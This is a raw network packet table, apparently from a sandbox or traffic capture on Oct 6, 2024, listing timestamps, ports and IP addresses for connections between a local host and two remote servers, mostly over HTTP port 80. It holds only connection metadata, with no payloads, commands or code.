Oct 6, 2024 22:33:14.492491007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492506981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492517948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492543936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492552042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492568016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492578030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492590904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492602110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492611885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492641926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492705107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492718935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492733955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492743015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492755890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492765903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492780924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492788076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492806911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492821932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492836952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492847919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492857933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492872953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492888927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492897034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492907047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492919922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.492933989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492959976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.492986917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493000984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493017912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493026972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493045092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493067026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493139029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493160963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493184090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493195057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493206024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493220091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493238926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493247032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493258953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493268013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493278980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493292093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493300915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493315935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493330956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493360996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493376970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493392944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493402958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493416071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493432045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493451118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493462086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493480921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493488073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493518114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493665934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493680000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493695021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493704081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493717909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493732929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493742943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493756056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493771076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.493803024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.493824959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494024992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494040012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494055033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494066954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494079113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494088888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494102955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494117975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494127989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494142056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494155884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494163990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494179010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494189024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494203091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494220018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494236946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494244099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494259119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494273901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494281054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494298935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494306087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494330883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494352102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494466066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494479895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494494915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494505882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494518042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494529963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494543076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494558096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494566917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494580030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494600058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494606972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494633913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494641066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494652987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494663000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494678020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494688034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494698048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.494725943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494750023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.494976997 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.495107889 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.495167017 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.501104116 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.501128912 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.501168966 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.501178026 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.531588078 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.531599998 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.531615019 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.531620979 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.762595892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.767535925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.767594099 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.767633915 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.767702103 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.768115997 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.768138885 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.770558119 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.770571947 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.770636082 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.770838022 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.770852089 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.944438934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944454908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944469929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944525003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944544077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944555044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944569111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944580078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944600105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944610119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944631100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944669008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944690943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944706917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944721937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944737911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944751024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944761038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944771051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944785118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.944796085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.944818020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945013046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945028067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945043087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945054054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945069075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945075989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945085049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945097923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945113897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945121050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945133924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945153952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945339918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945363045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945382118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945389032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945398092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945409060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945420027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945434093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945444107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945456982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945466995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945480108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945492029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945507050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945516109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945528030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945544958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945561886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945569992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945581913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945594072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945605993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945615053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945627928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945638895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945653915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945662022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945684910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945692062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945715904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.945965052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945980072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.945993900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946007967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946022987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946037054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946052074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946065903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946080923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946094990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946115971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946122885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946137905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946151018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946171999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946578026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946625948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946641922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946655035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946664095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946680069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946687937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946701050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946716070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946732044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946741104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946754932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946764946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946778059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946796894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946805000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946819067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946827888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946839094 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946850061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946872950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946887970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946902990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946912050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946928024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946934938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946945906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946959019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946969032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.946983099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.946991920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947004080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947015047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947029114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947038889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947052002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947066069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947088003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947519064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947534084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947547913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947566986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947573900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947582960 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947596073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947607040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947619915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947629929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947650909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947665930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947679043 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947689056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947701931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947711945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947726011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947740078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947756052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947767019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947777033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947789907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947799921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947814941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947829008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947844028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947855949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947868109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947881937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947891951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947906971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947917938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947935104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947945118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947957039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.947968960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947984934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.947999954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948009014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948021889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948031902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948044062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948054075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948065042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948080063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948385954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948401928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948416948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948432922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948442936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948456049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948465109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948477983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948492050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948514938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948523998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948537111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948559046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948569059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948581934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948596954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948606014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948616028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948628902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948642015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948653936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948667049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948678017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948690891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948702097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948714972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948729992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948740005 CEST	49741	80	192.168.2.4	141.98.233.156
